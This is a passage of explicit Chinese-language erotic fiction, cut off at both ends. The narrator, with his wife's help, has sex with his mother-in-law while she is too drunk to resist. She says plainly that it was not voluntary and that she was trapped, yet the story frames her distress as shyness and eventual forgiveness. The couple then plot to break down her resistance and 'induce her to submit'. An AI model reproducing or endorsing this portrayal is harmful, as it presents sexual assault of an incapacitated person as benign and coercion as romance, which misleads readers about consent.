  我领悟地点点头,于是将岳母的身子搬转过来,紧紧搂在怀里,让她的

脸贴在我的胸前,并且把我的一条腿插在她的两腿中间,顶着那神秘的地带,

便疲惫地睡着了。



  这一觉一直睡到近中午。睡梦中,我听到一阵阵的呼号声,身子也被人

推搡。我睁眼一看,原来妈咪已经醒来。她杏眼圆瞪,气急败坏地叫喊:"

啊!怎么是你!阿浩,快放开我!" 并且用力要从我的怀抱中挣脱出去。可

是酒精使她浑身无力,加之我的搂抱十分有力,一条腿还插在她的两腿中间,

她那里能够脱身。



  这时,阿兰也醒了,她对我说:" 阿浩,快放开妈咪!"



  我的手刚一松开,岳母便立即转过身去,扑在阿兰的怀里,痛哭失声地

叫道:" 阿兰,这是怎么回事呀?我怎么睡在你们的房里?阿浩昨晚对我非

礼了,你知道吗?"



  " 妈咪,请你冷静一点。" 阿兰抱着她,一边为她擦泪一边说:" 这事

我知道,是我让阿浩这样做的。你听我说,我们是一片好心。我们为了解除

你的寂寞和孤独,特意这样安排的!我真希望你能嫁给阿浩!"



  " 不!不!决不!你们这两个小坏蛋,怎么能这样戏弄妈咪!" 她继续

在哭喊着:" 你们叫我今后怎么有脸见人呀!呜呜!" 她哭得是那么伤心。



  " 妈咪," 阿兰继续说着:" 好妈咪,事已至此了,生米已经成了熟饭。

你何必还这么固执呢!"



  岳母不再说话,她挣扎着要坐起来。可是刚一抬起身子,便又无力地倒

下去。她实在没有一丝力气了。看着她这楚楚可怜的样子,我真有些后悔!



  她捂着脸在抽泣,无何奈何地述说着:" 睡梦中我知道与人做爱,但我

在朦胧中却以为是你嗲地还活着,在与我缠绵。我醉得连睁眼的力气都没有

了,不然,我决不会允许你们这么胡来的!" 说着,她又转过身,两只粉拳

在我的胸前捶打,边打边叫:" 啊呀,你这个该死的色狼啊,弄得我下边这

么疼,一定受伤了;而且,我的身子底下一片粘湿,像是泡在水里一样。可

见你这冤家昨晚把我遭践到什么程度了!"



  " 妈咪,我爱你,真心实意地想娶你!" 我自知理亏,不敢强辩,也不

知如何才能安慰她,不禁伸出手揽住她的腰,她似未察觉,继续在斥责我。



  " 哇!你爱我就可以娶我吗?你难道忘记了我们的关系?我是你的岳母

呀!"



  阿兰赶快解围:" 妈咪,你的身上这么脏,我扶你洗澡好吗?"



  她未加反对,阿兰便扶她坐起来,光着身子下床。她也没有表示要穿衣

服。我想,她大概认为既然已被我占有,就不必再有什么怕看的顾虑了。



  谁知,她的脚刚落地,便一阵弦晕,软倒在床边。



  " 阿浩,快来帮忙!" 阿兰叫道:" 你抱妈咪进浴室,我先去放水



  " 好的!" 我答应道,也来不及穿衣服,便光着身子下地,轻轻抱起瘫

软在地上的美人,向浴室走去。她没有反对,闭目依在我的怀中。



  我抱着她迈进充满热水的浴缸中,坐下去,让她偎依在我的怀里,然后

由阿兰为她洗澡。只见她秀目紧闭,一动不动地任由我们摆布。



  洗完后,阿兰问:" 妈咪,已经洗完了。我们回房好吗?"



  她眼未睁,只是轻轻点点头,身子仍然偎在我的怀中。



  " 阿浩," 阿兰发令:" 抱妈咪回房!"



  " 回哪个房间?" 我问。



  " 自然是回我们的房间!" 阿兰斥道:" 妈咪的身体这么虚弱,你难道

忍心让她一个人再受寂寞!妈咪,你说是吗?"



  岳母未加可否。



  我又抱着她回到房中。这时阿兰已将满是污渍的床单撤去,换上了一条

乾净的,上面又铺了一条大浴巾,以便为她母亲去身上的水擦干。



  我把她放在床上,阿兰为她擦乾身子,并为她盖上薄被。她这时才睁开

眼,小声说道:" 把我的衣服拿过来。".



  " 哎呀,我的好妈咪," 阿兰调皮地说:" 今天又不出去,穿衣服干嘛!

"



  " 疯丫头,大白天的,光着身子成何体统!而且还有一个男人在房里"

她娇嗔道。



  " 行了吧,我的大美人!这个男人又不是外人,昨天晚上,你躺在人家

的怀里温驯得象个小猫,你身上的哪个部分没有被他看个够、摸个够,阴阳

交合天地欢了一整夜,还装什么道学先生!"



  岳母的脸一下红到耳根,连忙用手捂在脸上。



  阿兰却解嘲道:" 看看,我只说了一句,你就害羞成这样!这样吧,事

情是我一手促成的,理应受到惩罚,乾脆我也光着身子陪你睡觉。昨晚你们

连呼带叫地,搞得我一夜没有睡着!" 说着,也钻进被中。



  岳母羞怯地小声说:" 还有脸说!那也不是我自愿的,而是中了你们这

两个小魔头的圈套!"



  说着,扭过身子,故意不理女儿。



  没有受到岳母的斥责,看来她已原谅了我。我心中一块石头终于落地。



  一整天,她都没有能够起床,连吃饭也是我和阿兰端到床上,扶她坐起

来吃的。



  这天晚上,岳母要回自己的房间,但阿兰坚决不同意,理由是要继续照

顾妈咪。岳母也没有固执己见,但却坚决不许我与她钻到一个被中。于是,

她自己盖一床被子,而阿兰与我在一条被中。



  阿兰故意嚷道:" 喂,大英雄,昨天你们干得好快活,却把我冷落在那

间屋子里。今天得给我补偿!我要!"



  我说:" 小声点!妈咪正在睡觉。"



  " 不嘛!快给我,我好想要!" 她娇嘀嘀地叫着。



  我只好与她干。在高潮即将来临之时,她叫着嚷着。



  我一直注意岳母的反应,怕她生气,我看见她用被子盖着头。但我想,

她是决不可能睡着的。



  阿兰的叫声越来越高。我发现岳母的被子在微微颤抖,看来她也受到了

感染。接着,她突然起来,用被子裹着身子,大步冲了出去。这时我正在大

力冲剌,自然是无暇顾及她的。



  当阿兰的高潮到来,闭目休息时,我披衣服去看望岳母。我推开门,发

现她正卷曲着身子,小声在呻吟。我问:" 妈咪,你没有事吧?"



  " 不要管我,你快出去!" 她未睁眼,小声回答。



  我答应一声,便俯下身,在她的唇上亲吻。



  她的身躯微微颤抖了一下,急忙将我推开,厉声斥道:" 你还敢胡闹!

快出去!"



  我只好退出,回到房内,脱衣在阿兰的身边躺下。她已经醒来,调皮地

问道:" 怎么样?是不是碰钉子了?"



  我慑懦道:" 我见妈咪走了,不放心,过去看看是不是有病了。"



  " 哼!说得好听,肯定是去调戏心上人了,结果没有得逞,是不是这样?

" 她说。



  " 没有调戏," 我辩道:" 我只是想看看她,可是被她赶走了。"



  " 哈哈,果然不出我之所料!" 阿兰得意地说:" 只是你也太急了一些。

我从妈咪今天早上看你的眼神发现,她并没有恨你。妈咪现在正处在矛盾之

中,一方面,她很喜欢你,想嫁给你,另一方面又考虑怕违犯伦理。所以你

现在无论如何不能急于求成,而要想点办法,打破她的羞愧之心和乱伦感,

然后再诱使她就范。"



  我说:" 我有什么办法!"



  阿兰想了一下,说道:" 不如这样,过两天,我借口下山探望老同学,

离开两个星期,这里只留你和她,你设法培养感情,好吗!"



  我想,这倒是个办法,于是答应试试看。



  两天后,阿兰告诉妈咪说她要下山探友。岳母一听,粉脸刷地一下变得

通红,惊慌地说:" 那怎么可以!阿兰,不能只留下我们两人在这里!求求

你了!" 阿兰说已经约好了的,不能失信于人。当天下午,她就离开了。这

里,只留我和岳母二人。



  阿兰走后,岳母成天一句话也不说,对我不冷不热,却彬彬有礼,像是

对待生疏的客人。她除了吃饭、读书、看电视,就是一个人出去散步,眉头

总是紧锁着。我几次提出要陪她,每每遭到她婉言谢绝,偶尔才同意与我同

行,但无论我怎么主动与她说话,她仍然是一言不发。